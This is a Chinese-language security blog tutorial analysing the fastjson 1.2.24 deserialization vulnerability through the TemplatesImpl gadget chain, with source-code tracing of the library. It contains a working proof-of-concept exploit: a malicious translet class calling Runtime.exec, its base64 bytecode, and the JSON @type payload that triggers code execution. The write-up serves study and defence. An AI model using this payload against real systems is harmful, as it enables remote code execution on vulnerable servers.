当前位置:   article > 正文

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析_com.alibaba.fastjson.parser.feature

com.alibaba.fastjson.parser.feature

漏洞环境:

fastjson1.2.24

jdk1.7.80

新建一个maven项目在pom.xml文件中引入fastjson的依赖:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.24</version>
  5. </dependency>

fastjson是alibaba开源的一个用于处理json数据格式的解析库,它支持将java对象解析成json字符串格式的数据,也可以将json字符串还原成java对象。不难看出,java对象转换成json数据就是序列化操作,而将json数据还原成java对象就是反序列化过程。

1. fastjson序列化

现在我们来看一下fastjson序列化过程,定义一个pojo类:

  1. public class Student {
  2. private String name;
  3. private int age;
  4. public Student() {
  5. System.out.println(" method: Student() ");
  6. }
  7. public Student(String name , int age) {
  8. System.out.println(" method: Student(String name , int age) ");
  9. this.name = name;
  10. this.age = age;
  11. }
  12. public String getName() {
  13. System.out.println(" method: getName() ");
  14. return name;
  15. }
  16. public int getAge() {
  17. System.out.println(" method: getAge() ");
  18. return age;
  19. }
  20. public void setName(String name) {
  21. System.out.println(" method: setName() ");
  22. this.name = name;
  23. }
  24. public void setAge(int age) {
  25. System.out.println(" method setAge() ");
  26. this.age = age;
  27. }
  28. }

示例程序:

  1. public class FastjsonTest1 {
  2. public static void main(String[] args) {
  3. Student student = new Student("zhangsan" , 3);
  4. String jsonString = JSON.toJSONString(student);
  5. System.out.println(jsonString);
  6. }
  7. }

执行结果如下:

 method: Student(String name , int age)

 method: getAge()

 method: getName()

{"age":3,"name":"zhangsan"}

fastjson调用toJSONString方法将Student对象转换成json字符串数据的过程中会调用对象的getter方法。

另外toJSONString方法在进行序列化时还可以指定一个可选的SerializerFeature.WriteClassName参数,指定了该参数后,在序列化时json数据中会写入一个@type选项,如下所示:

 json数据中的@type选项用于指定反序列化的类,也就是说所,当这段json数据被反序列化时,会按照@type选项中指定的类全名反序列化成java对象。

2. fastjson反序列化

fastjson提供了两个反序列化函数:parseObject和parse,我们通过示例程序来看一下fastjson的反序列化过程

方式一调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法。

方式二调用了parseObject方法进行反序列化,并且指定了反序列化对象Student类,parseObject方法会将json数据反序列化成Student对象,并且在反序列化过程中调用了Student对象的setter方法。

方式三调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法。

关于Feature.SupportNonPublicField参数

以上这三种方式在进行反序列化时都会调用对象的构造方法创建对象,并且还会调用对象的setter方法,如果私有属性没有提供setter方法时,那么还会正确被反序列化成功吗?为了验证这个猜想,现在我们把Student对象的私有属性name的setter方法去掉。

从程序执行结果来看,私有属性name并没有被正确反序列化,也就是说fastjson默认情况下不会对私有属性进行反序列化。

如果需要将私有属性反序列化时,就可以调用parseObject方法指定Feature.SupportNonPublicField参数,如下所示:

 方式一反序列化时没有指定Feature.SupportNonPublicField参数,私有属性name没有反序列化时没有值,方式二和方式三指定了Feature.SupportNonPublicField参数后,私有属性name可以正确被反序列化。

3. fastjson反序列化漏洞原理

在上一小节中我们知道fastjson在进行反序列化时会调用目标对象的构造,setter,getter等方法,如果这些方法内部进行了一些危险的操作时,那么fastjson在进行反序列化时就有可能会触发漏洞。

我们通过一个简单的案例来说明fastjson反序列化漏洞原理

  1. package com.fastjson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.serializer.SerializerFeature;
  4. import java.io.IOException;
  5. /**
  6. * @auther songly_
  7. * @data 2021/8/23 15:27
  8. */
  9. //定义一个恶意类TestTempletaHello
  10. class TestTempletaHello {
  11. static {
  12. try {
  13. Runtime.getRuntime().exec("calc");
  14. } catch (IOException e) {
  15. e.printStackTrace();
  16. }
  17. }
  18. }
  19. public class FastjsonTest1 {
  20. public static void main(String[] args) {
  21. //创建恶意类的实例并转换成json字符串
  22. TestTempletaHello testTempletaHello = new TestTempletaHello();
  23. String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);
  24. System.out.println(jsonString);
  25. //将json字符串转换成对象
  26. Object obj = JSON.parse(jsonString);
  27. System.out.println(obj);
  28. }
  29. }

在这个示例程序中先是构造了一个恶意类,然后调用toJSONString方法序列化对象写入@type,将@type指定为一个恶意的类TestTempletaHello的类全名,当调用parse方法对TestTempletaHello类进行反序列化时,会调用恶意类的构造方法创建实例对象,因此恶意类TestTempletaHello中的静态代码块中就会被执行。

执行结果如下:

4. fastjson1.2.24漏洞复现

在实际场景中很多类没有这么明显的可以产生漏洞的代码,往往需要攻击者自己想方设法通过一些操作(例如反射,类加载,一些危险的函数)来构造一个漏洞利用环境。

在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。

fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:

1. 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。

2. 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。

定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码

  1. package com.fastjson.pojo;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import java.io.IOException;
  8. public class TempletaPoc extends AbstractTranslet {
  9. //构造RCE代码
  10. static {
  11. try {
  12. Runtime.getRuntime().exec("calc");
  13. } catch (IOException e) {
  14. e.printStackTrace();
  15. }
  16. }
  17. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  18. }
  19. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  20. }
  21. }

最终的poc代码

  1. package com.fastjson;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.JSONObject;
  4. import com.alibaba.fastjson.parser.Feature;
  5. import com.alibaba.fastjson.parser.ParserConfig;
  6. import com.alibaba.fastjson.serializer.SerializerFeature;
  7. import com.fastjson.pojo.Student;
  8. import com.fastjson.pojo.TempletaPoc;
  9. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  10. import com.sun.org.apache.xml.internal.security.utils.Base64;
  11. import javassist.*;
  12. import java.io.IOException;
  13. /**
  14. * @auther songly_
  15. * @data 2021/8/23 15:27
  16. */
  17. public class FastjsonTest1 {
  18. public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
  19. //恶意类TempletaPoc转换成字节码,base64编码
  20. String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
  21. //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
  22. final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  23. String payload = "{\"@type\":\"" + NASTY_CLASS +
  24. "\",\"_bytecodes\":[\""+byteCode+"\"]," +
  25. "'_name':'TempletaPoc'," +
  26. "'_tfactory':{}," +
  27. "\"_outputProperties\":{}}\n";
  28. System.out.println(payload);
  29. //反序列化
  30. Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
  31. }
  32. }

这里解释一下payload的构造:

@type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

_bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。

_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)

_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的

5. fastjson1.2.24漏洞分析

参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject

  1. public static JSONObject parseObject(String text, Feature... features) {
  2. return (JSONObject) parse(text, features);
  3. }

parse方法会循环获取可变参数features中的值,然后继续调用parse方法

  1. public static Object parse(String text, Feature... features) {
  2. int featureValues = DEFAULT_PARSER_FEATURE;
  3. for (Feature feature : features) {
  4. featureValues = Feature.config(featureValues, feature, true);
  5. }
  6. return parse(text, featureValues);
  7. }

分析parse方法

  1. public static Object parse(String text, int features) {
  2. if (text == null) {
  3. return null;
  4. }
  5. //将json数据放到了一个DefaultJSONParser对象中
  6. DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
  7. //然后调用parse方法解析json
  8. Object value = parser.parse();
  9. parser.handleResovleTask(value);
  10. parser.close();
  11. return value;
  12. }

parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

  1. public Object parse(Object fieldName) {
  2. final JSONLexer lexer = this.lexer;
  3. switch (lexer.token()) {
  4. //省略部分代码......
  5. case LBRACE:
  6. //创建一个JSONObject对象
  7. JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
  8. //parseObject方法
  9. return parseObject(object, fieldName);
  10. //省略部分代码......
  11. }
  12. }

继续跟进parseObject方法

  1. public final Object parseObject(final Map object, Object fieldName) {
  2. //省略部分代码......
  3. //从json中提取@type
  4. key = lexer.scanSymbol(symbolTable, '"');
  5. //省略部分代码......
  6. //校验@type
  7. if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
  8. //提取type对应的值
  9. String typeName = lexer.scanSymbol(symbolTable, '"');
  10. //然后根据typeName进行类加载
  11. Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
  12. if (clazz == null) {
  13. object.put(JSON.DEFAULT_TYPE_KEY, typeName);
  14. continue;
  15. }
  16. }
  17. //省略部分代码......
  18. //然后将class对象封装成ObjectDeserializer对象
  19. ObjectDeserializer deserializer = config.getDeserializer(clazz);
  20. //然后调用deserialze方法进行反序列化
  21. return deserializer.deserialze(this, clazz, fieldName);
  22. }

parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。

然后调用了deserialze方法,该方法中的参数如下所示:

deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。

  1. protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
  2. //省略部分代码......
  3. //调用createInstance方法实例化
  4. if (object == null && fieldValues == null) {
  5. object = createInstance(parser, type);
  6. if (object == null) {
  7. fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
  8. }
  9. childContext = parser.setContext(context, object, fieldName);
  10. }
  11. //省略部分代码......
  12. //调用parseField方法解析json
  13. boolean match = parseField(parser, key, object, type, fieldValues);
  14. }

 我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。

parseField方法:

  1. public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
  2. //省略部分代码......
  3. FieldDeserializer fieldDeserializer = smartMatch(key);
  4. //SupportNonPublicField选项
  5. final int mask = Feature.SupportNonPublicField.mask;
  6. //if判断会校验SupportNonPublicField选项
  7. if (fieldDeserializer == null
  8. && (parser.lexer.isEnabled(mask)
  9. || (this.beanInfo.parserFeatures & mask) != 0)) {
  10. //获取TemplatesImpl对象的属性信息
  11. }
  12. //省略部分代码......
  13. //调用parseField方法解析字段
  14. fieldDeserializer.parseField(parser, object, objectType, fieldValues);
  15. return true;
  16. }

parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。

校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。

  1. @Override
  2. public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
  3. //省略部分代码......
  4. //解析json中的数据(将每个属性的值还原)
  5. value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
  6. //省略部分代码......
  7. setValue(object, value);
  8. }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。

继续跟进fieldValueDeserilizer的deserialze方法

  1. public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
  2. //省略部分代码......
  3. if (lexer.token() == JSONToken.LITERAL_STRING) {
  4. //调用了bytesValue方法
  5. byte[] bytes = lexer.bytesValue();
  6. lexer.nextToken(JSONToken.COMMA);
  7. return (T) bytes;
  8. }
  9. //省略部分代码......
  10. }

deserialze方法内部调用了bytesValue方法。

bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码

前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。

继续分析setValue方法是如何触发漏洞的

  1. public void setValue(Object object, Object value){
  2. //首先校验value是否为null
  3. if (value == null //
  4. && fieldInfo.fieldClass.isPrimitive()) {
  5. return;
  6. }
  7. try {
  8. //根据outputProperties属性获取对应的方法
  9. Method method = fieldInfo.method;
  10. if (method != null) {
  11. if (fieldInfo.getOnly) {
  12. if (fieldInfo.fieldClass == AtomicInteger.class) {
  13. AtomicInteger atomic = (AtomicInteger) method.invoke(object);
  14. if (atomic != null) {
  15. atomic.set(((AtomicInteger) value).get());
  16. }
  17. } else if (fieldInfo.fieldClass == AtomicLong.class) {
  18. AtomicLong atomic = (AtomicLong) method.invoke(object);
  19. if (atomic != null) {
  20. atomic.set(((AtomicLong) value).get());
  21. }
  22. } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
  23. AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
  24. if (atomic != null) {
  25. atomic.set(((AtomicBoolean) value).get());
  26. }
  27. } else if (Map.class.isAssignableFrom(method.getReturnType())) {
  28. //反射调用getOutputProperties方法
  29. Map map = (Map) method.invoke(object);
  30. if (map != null) {
  31. map.putAll((Map) value);
  32. }
  33. } else {
  34. Collection collection = (Collection) method.invoke(object);
  35. if (collection != null) {
  36. collection.addAll((Collection) value);
  37. }
  38. }
  39. } else {
  40. method.invoke(object, value);
  41. }
  42. return;
  43. }
  44. }
  45. //省略部分代码......
  46. }

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。

fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。

关于getOutputProperties方法的调用

不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法

smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。

  1. public FieldDeserializer smartMatch(String key) {
  2. //省略部分代码......
  3. if (fieldDeserializer == null) {
  4. boolean snakeOrkebab = false;
  5. String key2 = null;
  6. for (int i = 0; i < key.length(); ++i) {
  7. char ch = key.charAt(i);
  8. //是否有"_"特殊字符串
  9. if (ch == '_') {
  10. snakeOrkebab = true;
  11. //把_字符串替换为空
  12. key2 = key.replaceAll("_", "");
  13. break;
  14. } else if (ch == '-') {
  15. snakeOrkebab = true;
  16. key2 = key.replaceAll("-", "");
  17. break;
  18. }
  19. }
  20. if (snakeOrkebab) {
  21. fieldDeserializer = getFieldDeserializer(key2);
  22. if (fieldDeserializer == null) {
  23. for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
  24. if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
  25. fieldDeserializer = fieldDeser;
  26. break;
  27. }
  28. }
  29. }
  30. }
  31. }
  32. //省略部分代码......
  33. }

我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?

答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

getter方法的查找方式需要满足以下几个条件:

方法名长度不小于4

必须是非静态方法

必须get字符串开头,并且第四个字符为大写字母

方法中不能有参数

返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。

getOutputProperties方法内部调用了newTransformer方法

  1. public synchronized Properties getOutputProperties() {
  2. try {
  3. //调用newTransformer方法
  4. return newTransformer().getOutputProperties();
  5. }
  6. catch (TransformerConfigurationException e) {
  7. return null;
  8. }
  9. }

newTransformer方法内部调用了getTransletInstance方法

  1. public synchronized Transformer newTransformer() throws TransformerConfigurationException {
  2. TransformerImpl transformer;
  3. //调用了getTransletInstance方法
  4. transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
  5. _indentNumber, _tfactory);
  6. if (_uriResolver != null) {
  7. transformer.setURIResolver(_uriResolver);
  8. }
  9. if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
  10. transformer.setSecureProcessing(true);
  11. }
  12. return transformer;
  13. }

getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。

  1. private Translet getTransletInstance() throws TransformerConfigurationException {
  2. try {
  3. if (_name == null) return null;
  4. //调用defineTransletClasses方法
  5. if (_class == null) defineTransletClasses();
  6. //根据_class实例化类
  7. AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
  8. }

跟进defineTransletClasses方法

  1. private void defineTransletClasses() throws TransformerConfigurationException {
  2. //校验_bytecodes
  3. if (_bytecodes == null) {
  4. ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
  5. throw new TransformerConfigurationException(err.toString());
  6. }
  7. TransletClassLoader loader = (TransletClassLoader)
  8. AccessController.doPrivileged(new PrivilegedAction() {
  9. public Object run() {
  10. //通过_tfactory调用getExternalExtensionsMap方法
  11. return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
  12. }
  13. });
  14. try {
  15. final int classCount = _bytecodes.length;
  16. _class = new Class[classCount];
  17. if (classCount > 1) {
  18. _auxClasses = new Hashtable();
  19. }
  20. for (int i = 0; i < classCount; i++) {
  21. //加载_bytecodes中的类(TempletaPoc)
  22. _class[i] = loader.defineClass(_bytecodes[i]);
  23. //获取TempletaPoc的父类
  24. final Class superClass = _class[i].getSuperclass();
  25. // Check if this is the main class
  26. //是否继承了AbstractTranslet类
  27. if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
  28. _transletIndex = i;
  29. }
  30. else {
  31. _auxClasses.put(_class[i].getName(), _class[i]);
  32. }
  33. }
  34. if (_transletIndex < 0) {
  35. ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
  36. throw new TransformerConfigurationException(err.toString());
  37. }
  38. }
  39. catch (ClassFormatError e) {
  40. ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
  41. throw new TransformerConfigurationException(err.toString());
  42. }
  43. catch (LinkageError e) {
  44. ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
  45. throw new TransformerConfigurationException(err.toString());
  46. }
  47. }

defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。

关于TemplatesImpl利用链的详细介绍可以参考8-java安全——java反序列化CC2链分析

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/喵喵爱编程/article/detail/923023
推荐阅读
相关标签
  

闽ICP备14008679号